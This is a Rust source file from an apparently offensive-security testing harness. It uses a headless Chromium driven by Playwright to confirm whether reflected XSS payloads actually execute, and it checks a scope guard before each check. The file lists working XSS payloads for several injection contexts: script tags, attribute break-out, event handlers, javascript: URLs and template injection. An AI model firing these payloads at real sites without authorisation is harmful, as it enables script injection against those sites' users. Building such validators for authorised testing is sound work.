Files
NeuroSploit/neurosploit-rs/crates/harness/src/browser.rs
T
CyberSecurityUPandClaude Opus 5 3800b029f2 feat: browser validator for XSS, and replay that separates request from effect
Two halves of the same problem — proving what actually happened rather than
what a response suggested.

browser.rs — a payload echoed into HTML is reflection; it is XSS only when a
browser parses that response and runs it. The gap between the two is where most
XSS false positives live: the value lands in an attribute that is never
evaluated, inside a <textarea>, HTML-encoded on the way out, or blocked by CSP.
All four look identical to a string match on the body.

So a real Chromium loads the URL and reports whether a marker THE HARNESS CHOSE
came back through a channel only executing code can reach: a dialog message, a
document.title assignment, a window global. A console line is watched too but
never treated as decisive on its own — a page can log the value it reflected
without ever running it. Payloads are self-reporting rather than generic
(alert(1) proves nothing attributable) and cover the contexts a reflected value
lands in: raw HTML, attribute break-out, event handler, URL, raw-text element,
template expression. When the marker is reflected but does not execute, that is
recorded as a note: it tells the operator the input reaches the response and
the context is what stopped it.

Missing node or playwright yields available:false and confirms nothing. A
missing tool must never read as a missing vulnerability — or as a present one.

replay.rs — the engagement recorded 25 accepted POSTs and concluded "reset
email flooding". Those are facts at different layers and the pipeline could not
say so. observe_effects() now records three:
  request_effect      the response: status, headers, latency, size
  application_effect  a read-back showing state actually changed
  external_effect     something left the building (mail, webhook, job)
Without a verification request the application layer is reported as unexamined
rather than inferred from a 200 — APIs accept and ignore writes routinely. The
external layer is honestly reported as unobserved until the harness owns a
mailbox or callback listener. deepest_observed() gives the ceiling an impact
claim may be built on, which is exactly the line the agent crossed.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-14 00:32:31 -03:00

324 lines
14 KiB
Rust

//! Browser validator — proving a payload *executed*, not that it appeared.
//!
//! A payload echoed into HTML is reflection. It becomes cross-site scripting
//! only when a browser parses that response and runs it, and the gap between
//! the two is where most XSS false positives live: the value lands inside an
//! attribute that is never evaluated, inside a `<textarea>`, HTML-encoded on
//! the way out, or blocked by CSP. Every one of those looks identical to a
//! string match against the response body.
//!
//! So [`XssValidator`](crate::validation::XssValidator) refuses to confirm
//! without `browser_executed` and `marker_observed`, and this module is what
//! sets them: a real Chromium, driven by Playwright, loading the URL and
//! reporting whether a marker **the harness chose** came back through a channel
//! that only executing code can reach.
//!
//! ## Why a marker, and why these channels
//!
//! The marker is generated per attempt (see [`crate::validation::canary`]), so
//! observing it cannot be coincidence — the target has no way to produce that
//! string on its own. It is reported through whichever channel fires first:
//!
//! | channel | what it proves |
//! |---------|----------------|
//! | `dialog` | `alert()`/`confirm()`/`prompt()` ran with our marker as its message |
//! | `title` | script assigned `document.title` — execution with no dialog to dismiss |
//! | `global` | script wrote `window.__neurosploit` |
//! | `console` | script called `console.log` (weakest: a page could log the reflected value itself, so it is reported and never treated as decisive on its own) |
//!
//! ## Degrading honestly
//!
//! Node or Playwright may be absent. In that case the result says
//! `available: false` and nothing is confirmed — the one thing this module must
//! never do is let a missing tool read as a missing vulnerability, or worse, as
//! a present one.
use crate::scope::{Action, ScopePolicy};
use serde::{Deserialize, Serialize};
use std::time::Duration;
/// What the browser saw.
#[derive(Debug, Clone, Default, Serialize, Deserialize, PartialEq)]
pub struct BrowserResult {
/// A browser actually ran. False means "we could not look", never "nothing
/// happened".
pub available: bool,
/// Script from the payload executed.
pub executed: bool,
/// The harness's marker was observed at runtime.
pub marker_observed: bool,
/// Which channel carried it: dialog · title · global · console.
#[serde(default)]
pub channel: String,
#[serde(default)]
pub console: Vec<String>,
/// Path to the screenshot taken at the moment of observation.
#[serde(default)]
pub screenshot: String,
#[serde(default)]
pub notes: Vec<String>,
}
impl BrowserResult {
/// Did this run produce proof of execution?
///
/// A console line alone does not: a page can log the value it reflected
/// without ever executing it.
pub fn proves_execution(&self) -> bool {
self.available && self.executed && self.marker_observed && self.channel != "console"
}
fn unavailable(note: &str) -> Self {
BrowserResult { available: false, notes: vec![note.to_string()], ..Default::default() }
}
}
/// Payloads that, if they execute, report the marker through a channel this
/// module watches.
///
/// They are deliberately *self-reporting* rather than generic (`<script>alert(1)</script>`
/// proves nothing we can attribute), and they cover the contexts a reflected
/// value usually lands in: raw HTML, inside an attribute, inside an existing
/// script, and as a URL.
pub fn xss_payloads(marker: &str) -> Vec<String> {
let m = marker;
vec![
format!("<script>document.title='{m}';window.__neurosploit='{m}'</script>"),
format!("\"><script>document.title='{m}';window.__neurosploit='{m}'</script>"),
format!("<img src=x onerror=\"document.title='{m}';window.__neurosploit='{m}'\">"),
format!("'\"><svg/onload=\"document.title='{m}';window.__neurosploit='{m}'\">"),
format!("javascript:document.title='{m}'"),
format!("';document.title='{m}';//"),
format!("</textarea><script>document.title='{m}'</script>"),
format!("{{{{constructor.constructor(\"document.title='{m}'\")()}}}}"),
]
}
/// The driver script. Written to a temp file and run with `node`.
///
/// It reports a single JSON line on stdout so the Rust side never has to parse
/// Playwright's own chatter, and it takes a screenshot only when it observed
/// something — an image of a page that did nothing is not evidence.
fn driver_js() -> &'static str {
r#"
const { chromium } = require('playwright');
const [,, url, marker, shotPath, waitMs] = process.argv;
(async () => {
const out = { available: true, executed: false, marker_observed: false, channel: '', console: [], screenshot: '', notes: [] };
let browser;
try {
browser = await chromium.launch({ args: ['--no-sandbox'] });
const ctx = await browser.newContext({ ignoreHTTPSErrors: true });
const page = await ctx.newPage();
// A dialog blocks the page until it is handled; handling it is also how we
// read its message.
page.on('dialog', async (d) => {
const msg = d.message() || '';
if (msg.includes(marker)) { out.executed = true; out.marker_observed = true; out.channel = out.channel || 'dialog'; }
try { await d.dismiss(); } catch {}
});
page.on('console', (m) => {
const t = m.text();
if (out.console.length < 40) out.console.push(t);
if (t.includes(marker)) { out.executed = true; out.marker_observed = true; out.channel = out.channel || 'console'; }
});
page.on('pageerror', (e) => { if (out.console.length < 40) out.console.push('pageerror: ' + e.message); });
await page.goto(url, { waitUntil: 'domcontentloaded', timeout: Number(waitMs) });
// Give deferred handlers (onerror, onload, timers) a chance to run.
await page.waitForTimeout(Math.min(2500, Number(waitMs) / 2));
const title = await page.title().catch(() => '');
if (title.includes(marker)) { out.executed = true; out.marker_observed = true; out.channel = out.channel || 'title'; }
const global = await page.evaluate(() => window.__neurosploit || '').catch(() => '');
if (String(global).includes(marker)) { out.executed = true; out.marker_observed = true; out.channel = out.channel || 'global'; }
// Reflection without execution is worth recording: it tells the operator
// the input reaches the response and the context is what blocked it.
if (!out.executed) {
const html = await page.content().catch(() => '');
if (html.includes(marker)) out.notes.push('marker is reflected in the DOM but did not execute — encoded, non-executing context, or blocked by CSP');
}
if (out.marker_observed && shotPath) {
try { await page.screenshot({ path: shotPath, fullPage: false }); out.screenshot = shotPath; } catch {}
}
} catch (e) {
out.notes.push('browser error: ' + (e && e.message ? e.message : String(e)));
} finally {
try { if (browser) await browser.close(); } catch {}
process.stdout.write('NSJSON' + JSON.stringify(out) + 'NSEND');
}
})();
"#
}
/// Pull the driver's result out of its stdout.
///
/// Playwright and npx print their own noise, so the payload is delimited rather
/// than assumed to be the whole stream.
pub fn parse_result(stdout: &str) -> Option<BrowserResult> {
let start = stdout.find("NSJSON")? + "NSJSON".len();
let end = stdout[start..].find("NSEND")? + start;
serde_json::from_str(&stdout[start..end]).ok()
}
pub struct BrowserProbe {
policy: ScopePolicy,
timeout: Duration,
}
impl BrowserProbe {
pub fn new(policy: ScopePolicy) -> Self {
BrowserProbe { policy, timeout: Duration::from_secs(30) }
}
pub fn with_timeout(mut self, t: Duration) -> Self {
self.timeout = t;
self
}
/// Is a browser usable on this machine?
pub fn available() -> bool {
which("node") && (playwright_installed() || which("npx"))
}
/// Load `url` in a real browser and report whether `marker` executed.
///
/// The scope guard runs first: driving a browser is still sending traffic,
/// and a validator that wanders off-target while confirming a finding would
/// undo the whole point of having a boundary.
pub async fn confirm_execution(&self, url: &str, marker: &str, shot: Option<&str>) -> BrowserResult {
let decision = self.policy.check(url, Action::Exploit);
if !decision.allowed() {
return BrowserResult::unavailable(&format!("scope guard refused the browser check: {}", decision.reason()));
}
if !Self::available() {
return BrowserResult::unavailable(
"no browser available — install node and `npx playwright install chromium`. Nothing is confirmed without one.",
);
}
let dir = std::env::temp_dir().join(format!("ns-browser-{}", std::process::id()));
if std::fs::create_dir_all(&dir).is_err() {
return BrowserResult::unavailable("could not create a temp dir for the browser driver");
}
let script = dir.join("ns-xss-probe.js");
if std::fs::write(&script, driver_js()).is_err() {
return BrowserResult::unavailable("could not write the browser driver");
}
let ms = self.timeout.as_millis().to_string();
let mut cmd = tokio::process::Command::new("node");
cmd.arg(&script).arg(url).arg(marker).arg(shot.unwrap_or("")).arg(&ms);
cmd.kill_on_drop(true);
cmd.stdout(std::process::Stdio::piped()).stderr(std::process::Stdio::piped());
let run = tokio::time::timeout(self.timeout + Duration::from_secs(10), async {
cmd.output().await
})
.await;
let output = match run {
Ok(Ok(o)) => o,
Ok(Err(e)) => return BrowserResult::unavailable(&format!("could not start node: {e}")),
Err(_) => return BrowserResult::unavailable("the browser check timed out"),
};
let stdout = String::from_utf8_lossy(&output.stdout);
match parse_result(&stdout) {
Some(r) => r,
None => {
let err = String::from_utf8_lossy(&output.stderr);
let hint = if err.contains("Cannot find module 'playwright'") {
"playwright is not installed — run `npx playwright install chromium`"
} else {
"the browser driver produced no result"
};
BrowserResult::unavailable(&format!("{hint}: {}", err.chars().take(200).collect::<String>()))
}
}
}
}
fn which(bin: &str) -> bool {
std::env::var_os("PATH")
.map(|p| std::env::split_paths(&p).any(|d| d.join(bin).is_file()))
.unwrap_or(false)
}
fn playwright_installed() -> bool {
// A local install is what makes the driver's `require` work without a
// network round trip on every check.
["node_modules/playwright", "node_modules/.bin/playwright"]
.iter()
.any(|p| std::path::Path::new(p).exists())
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn every_payload_carries_the_marker_and_a_self_report() {
let m = crate::validation::canary("nsxss");
for p in xss_payloads(&m) {
assert!(p.contains(&m), "payload must carry the marker: {p}");
assert!(
p.contains("document.title") || p.contains("__neurosploit"),
"a payload that does not report itself proves nothing we can attribute: {p}"
);
}
}
#[test]
fn payloads_cover_the_contexts_a_value_lands_in() {
let p = xss_payloads("M");
let all = p.join(" ");
assert!(all.contains("\"><script"), "attribute break-out");
assert!(all.contains("onerror"), "event handler");
assert!(all.contains("javascript:"), "URL context");
assert!(all.contains("</textarea>"), "raw-text element");
assert!(all.contains("constructor.constructor"), "template expression");
}
#[test]
fn a_console_hit_alone_is_not_proof_of_execution() {
let r = BrowserResult { available: true, executed: true, marker_observed: true, channel: "console".into(), ..Default::default() };
assert!(!r.proves_execution(), "a page can log the value it reflected without running it");
let r = BrowserResult { channel: "dialog".into(), ..r };
assert!(r.proves_execution());
}
#[test]
fn an_unavailable_browser_confirms_nothing() {
let r = BrowserResult::unavailable("node missing");
assert!(!r.available && !r.proves_execution());
// The distinction that matters: this is "we could not look", and it
// must never read as either a clean result or a finding.
assert!(!r.executed && !r.marker_observed);
}
#[test]
fn the_driver_result_is_parsed_out_of_surrounding_noise() {
let out = "npm warn something\nDownloading Chromium...\nNSJSON{\"available\":true,\"executed\":true,\"marker_observed\":true,\"channel\":\"dialog\",\"console\":[],\"screenshot\":\"\",\"notes\":[]}NSEND\ntrailing chatter";
let r = parse_result(out).expect("must find the delimited payload");
assert!(r.proves_execution());
assert_eq!(r.channel, "dialog");
}
#[test]
fn garbage_output_yields_no_result_rather_than_a_default_one() {
assert!(parse_result("playwright exploded").is_none());
assert!(parse_result("NSJSON{not json}NSEND").is_none());
}
#[tokio::test]
async fn an_out_of_scope_url_is_refused_before_a_browser_starts() {
let mut policy = ScopePolicy::for_target("https://app.example.com/");
policy.soft.max_requests_per_minute = 0;
let probe = BrowserProbe::new(policy);
let r = probe.confirm_execution("https://evil.test/x", "M", None).await;
assert!(!r.available);
assert!(r.notes[0].contains("scope guard refused"), "{:?}", r.notes);
}
}